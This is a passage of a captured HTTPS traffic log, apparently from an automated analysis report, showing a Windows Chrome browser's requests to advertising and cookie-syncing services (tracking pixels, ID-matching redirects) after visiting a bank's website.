2024-05-24 22:46:06 UTC	728	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=adfc6131-af7a-40bc-8471-a600370a4548&mt=&bd=&cb=1716590766076 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.navyfederal.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 44db9780b4f7867208d230b0ff89ef7f Date: Fri, 24 May 2024 22:46:06 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:06 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
147	192.168.2.6	50003	18.239.94.101	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	647	OUT	GET /c/?dspInit=1001136&dspCookie=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: s.ad.smaato.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:07 UTC	776	IN	HTTP/1.1 302 Moved Temporarily Content-Length: 0 Connection: close Server: CloudFront Date: Fri, 24 May 2024 22:46:06 GMT Cache-Control: no-cache, must-revalidate Set-Cookie: SCM=c4c4808b0e; Max-Age=1814400; Domain=.smaato.net; SameSite=None; Path=/; Secure Set-Cookie: SCMo=c4c4808b0e; Max-Age=1814400; Domain=.smaato.net; Path=/; SameSite=None; Secure Set-Cookie: SCM1001136=c4c4808b0e; Max-Age=1814400; Domain=.smaato.net; Path=/; SameSite=None; Secure Location: https://sync.outbrain.com/cookie-sync?p=smaato&initiation=partner&uid=c4c4808b0e&gdpr=0&gdpr_consent= X-Cache: Miss from cloudfront Via: 1.1 0ce4e0ab92519d33ff3c6cca42806b7e.cloudfront.net (CloudFront) X-Amz-Cf-Pop: AMS1-P3 X-Amz-Cf-Id: 2UYM_WKkHBdVFTitJR262nkGeqOOgPZHW-fUcWKVqejiUPLdiP34PA==

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
148	192.168.2.6	50004	76.223.111.18	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	646	OUT	GET /xuid?mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3 HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	696	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:06 GMT Content-Length: 0 Connection: close Location: /xuid?ld=1&mid=7969&xuid=4F23F6C2C1D4438DAA81302CEEAB3C45&dongle=yf3&gdpr=0&cmp_cs=&us_privacy= Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=4311655648632522917084; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:06 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=4311655648632522917084; Max-Age=7776000; Expires=Thu, 22 Aug 2024 22:46:06 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
149	192.168.2.6	50009	34.252.112.229	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	655	OUT	GET /adscores/g.pixel?sid=9201915418&sifi_uid=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: aa.agkn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:07 UTC	771	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:06 GMT Transfer-Encoding: chunked Connection: close Server: AAWebServer P3P: policyref="https://www.agkn.com/p3p/p3p.xml",CP="NOI NID" Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Expires: 0 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Allow-Headers: accept, cache-control, origin, x-requested-with, x-file-name, content-type Set-Cookie: ab=0001%3Ar3yIR%2BLmLjuVsxwwD7P4Loi5%2BIzza9YA; Path=/; Domain=.agkn.com; Expires=Sat, 24-May-2025 22:46:06 GMT; Max-Age=31536000; Secure; SameSite=None Location: https://d.agkn.com/pixel/10751/?che=1716590766951&ip=8.46.123.175&l1=https%3A%2F%2Fum.simpli.fi%2Faa_px%3Fsk%3D219933204892004054749
2024-05-24 22:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
150	192.168.2.6	50007	34.236.18.253	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	644	OUT	GET /sync?UISF=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: simplifi.partners.tremorhub.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:06 UTC	218	IN	HTTP/1.1 200 Date: Fri, 24 May 2024 22:46:06 GMT Content-Type: image/gif Transfer-Encoding: chunked Connection: close Server: nginx P3P: CP='This is not a P3P policy. See https://telaria.com/privacy-policy/'
2024-05-24 22:46:06 UTC	49	IN	Data Raw: 32 62 0d 0a 47 49 46 38 39 61 01 00 01 00 f0 00 00 00 00 00 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b 0d 0a Data Ascii: 2bGIF89a!,D;
2024-05-24 22:46:06 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
151	192.168.2.6	50005	46.228.174.117	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:06 UTC	632	OUT	GET /usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: sync.1rx.io Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:07 UTC	636	IN	HTTP/1.1 302 Found date: Fri, 24 May 2024 22:46:07 GMT content-type: text/html transfer-encoding: chunked cache-control: no-store, no-cache, must-revalidate expires: 0 pragma: no-cache set-cookie: _rxuuid=%7B%22rx_uuid%22%3A%22RX-ed36a9b1-6e82-4f97-bcc6-221866ea94df-003%22%7D; path=/; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.1rx.io; samesite=none; secure; httponly p3p: CP="This is not a P3P policy! See https://www.rhythmone.com/p3p to learn why" location: https://sync.1rx.io/usersync/simplifi/4F23F6C2C1D4438DAA81302CEEAB3C45?zcc=1&cb=1716590767056 etag: RXed36a9b16e824f97bcc6221866ea94df003 connection: close
2024-05-24 22:46:07 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
152	192.168.2.6	50011	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	995	OUT	GET /track/cmf/appnexus?ttd=1&anid=6116765264039870456&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
2024-05-24 22:46:07 UTC	751	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:07 GMT Content-Length: 383 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCMCOldGqk_48EAUSFgoHYmx1ZWthaRILCMCwldGqk_48EAUYBSADKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIHYmx1ZWthaQ..; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:07 UTC	383	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 46 74 72 61 63 6b 25 32 46 63 6d 66 25 32 46 67 65 6e 65 72 69 63 25 33 46 74 74 64 5f 70 69 64 25 33 44 62 6c 75 65 6b 61 69 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
153	192.168.2.6	50012	34.111.113.62	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	756	OUT	GET /idsync/ex/receive/check?partner_id=2305&partner_device_id=4F23F6C2C1D4438DAA81302CEEAB3C45 HTTP/1.1 Host: pixel.tapad.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://9749892.fls.doubleclick.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TapAd_TS=1716590766667; TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae
2024-05-24 22:46:07 UTC	1095	IN	HTTP/1.1 200 OK Date: Fri, 24 May 2024 22:46:07 GMT Strict-Transport-Security: max-age=31536000 Access-Control-Allow-Origin: * Accept-CH: Sec-CH-UA Accept-CH: Sec-CH-UA-Arch Accept-CH: Sec-CH-UA-Bitness Accept-CH: Sec-CH-UA-Full-Version-List Accept-CH: Sec-CH-UA-Mobile Accept-CH: Sec-CH-UA-Model Accept-CH: Sec-CH-UA-Platform Accept-CH: Sec-CH-UA-Platform-Version Accept-CH: Sec-CH-UA-WoW64 P3P: policyref="http://tapad-taptags.s3.amazonaws.com/policy/p3p.xml", CP="NOI DSP COR ADM PSAo PSDo OURo SAMo UNRo OTRo BUS COM NAV DEM STA PRE" Set-Cookie: TapAd_TS=1716590766667;Expires=Tue, 23 Jul 2024 22:46:07 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_DID=d437c4e6-2c1d-4fee-a2b0-0cd5b17a32ae;Expires=Tue, 23 Jul 2024 22:46:07 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Set-Cookie: TapAd_3WAY_SYNCS=;Expires=Tue, 23 Jul 2024 22:46:07 GMT;Path=/;Domain=.tapad.com;Secure;SameSite=None Content-Type: image/png Content-Length: 95 Server: Jetty(11.0.13) Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:07 UTC	95	IN	Data Raw: 89 50 4e 47 0d 0a 1a 0a 00 00 00 0d 49 48 44 52 00 00 00 01 00 00 00 01 01 03 00 00 00 25 db 56 ca 00 00 00 03 50 4c 54 45 00 00 00 a7 7a 3d da 00 00 00 01 74 52 4e 53 00 40 e6 d8 66 00 00 00 0a 49 44 41 54 08 d7 63 60 00 00 00 02 00 01 e2 21 bc 33 00 00 00 00 49 45 4e 44 ae 42 60 82 Data Ascii: PNGIHDR%VPLTEz=tRNS@fIDATc`!3IENDB`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
154	192.168.2.6	50013	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	1006	OUT	GET /track/cmf/google?g_uuid=&gdpr=0&gdpr_consent=&ttd_tdid=00d6b47b-5df0-41e1-812e-c334ebaa9abf&google_error=3 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
2024-05-24 22:46:07 UTC	779	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:07 GMT Content-Length: 383 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUSFQoGZ29vZ2xlEgsI6vP468rl-zwQBRIWCgdibHVla2FpEgsI2pvN06qT_jwQBRgFIAMoATILCLTvjMHAk_48EAU4AUIEIgIIAVoHcGNsOGJpeWABcgdibHVla2Fp; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:07 UTC	383	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 46 74 72 61 63 6b 25 32 46 63 6d 66 25 32 46 67 65 6e 65 72 69 63 25 33 46 74 74 64 5f 70 69 64 25 33 44 62 6c 75 65 6b 61 69 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
155	192.168.2.6	50015	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	489	OUT	GET /adadvisor.gif?segment=000&_ppid=9f9e1ac6-39b1-40b7-a151-7c8e30cca3f1&_segid=99&_zip=&hk=&iid=e9f1695c-f4b1-48ff-869b-2cf0680c4597&mt=&bd=&cb=1716590766029 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:07 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: 450ce066fe304277ce8cc3c2e3a1ec79 Date: Fri, 24 May 2024 22:46:07 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
156	192.168.2.6	50017	35.190.76.233	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	489	OUT	GET /adadvisor.gif?segment=000&_ppid=4ff68111-b678-4699-beeb-4af80cb7d74f&_segid=99&_zip=&hk=&iid=adfc6131-af7a-40bc-8471-a600370a4548&mt=&bd=&cb=1716590766076 HTTP/1.1 Host: px0.pbbl.co Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-24 22:46:07 UTC	412	IN	HTTP/1.1 200 OK X-Content-Type-Options: nosniff X-XSS-Protection: 1 Cache-Control: must-revalidate, no-cache, no-store Pragma: no-cache Expires: 0 Content-Type: image/gif X-Cloud-Trace-Context: dc9ff82c539164e60990aa0418075887 Date: Fri, 24 May 2024 22:46:07 GMT Server: Google Frontend Content-Length: 42 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-24 22:46:07 UTC	42	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 00 00 00 ff ff ff 21 f9 04 01 00 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 01 4c 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
157	192.168.2.6	50014	52.223.40.198	443	4024	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-24 22:46:07 UTC	933	OUT	GET /track/cmf/generic?ttd_pid=bluekai HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://insight.adsrvr.org/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUYBSACKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIIYXBwbmV4dXM.
2024-05-24 22:46:07 UTC	751	IN	HTTP/1.1 302 Found Date: Fri, 24 May 2024 22:46:07 GMT Content-Length: 383 Connection: close server: Kestrel location: https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai set-cookie: TDID=00d6b47b-5df0-41e1-812e-c334ebaa9abf; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESEgoDYWFtEgsInKC0tPDg8jwQBRIWCgdydWJpY29uEgsIjP3dq6qT_jwQBRIXCghhcHBuZXh1cxILCNadit_w4PI8EAUSFgoHYmx1ZWthaRILCK6CldSqk_48EAUYBSADKAEyCwi074zBwJP-PBAFOAFCBCICCAFaB3BjbDhiaXlgAXIHYmx1ZWthaQ..; expires=Sat, 24 May 2025 22:46:07 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-24 22:46:07 UTC	383	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d 34 31 65 31 2d 38 31 32 65 2d 63 33 33 34 65 62 61 61 39 61 62 66 26 67 64 70 72 3d 30 26 67 64 70 72 5f 63 6f 6e 73 65 6e 74 3d 26 72 65 64 69 72 3d 68 74 74 70 73 25 33 41 25 32 46 25 32 46 6d 61 74 63 68 2e 61 64 73 72 76 72 2e 6f 72 67 25 32 46 74 72 61 63 6b 25 32 46 63 6d 66 25 32 46 67 65 6e 65 72 69 63 25 33 46 74 74 64 5f 70 69 64 25 33 44 62 6c 75 65 6b 61 69 22 3e 68 74 74 70 73 3a 2f 2f 74 61 67 73 2e 62 6c 75 65 6b 61 69 2e 63 6f 6d 2f 73 69 74 65 2f 35 33 38 36 3f 69 64 3d 30 30 64 36 62 34 37 62 2d 35 64 66 30 2d Data Ascii: Redirecting to: <a href="https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-41e1-812e-c334ebaa9abf&gdpr=0&gdpr_consent=&redir=https%3A%2F%2Fmatch.adsrvr.org%2Ftrack%2Fcmf%2Fgeneric%3Fttd_pid%3Dbluekai">https://tags.bluekai.com/site/5386?id=00d6b47b-5df0-

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
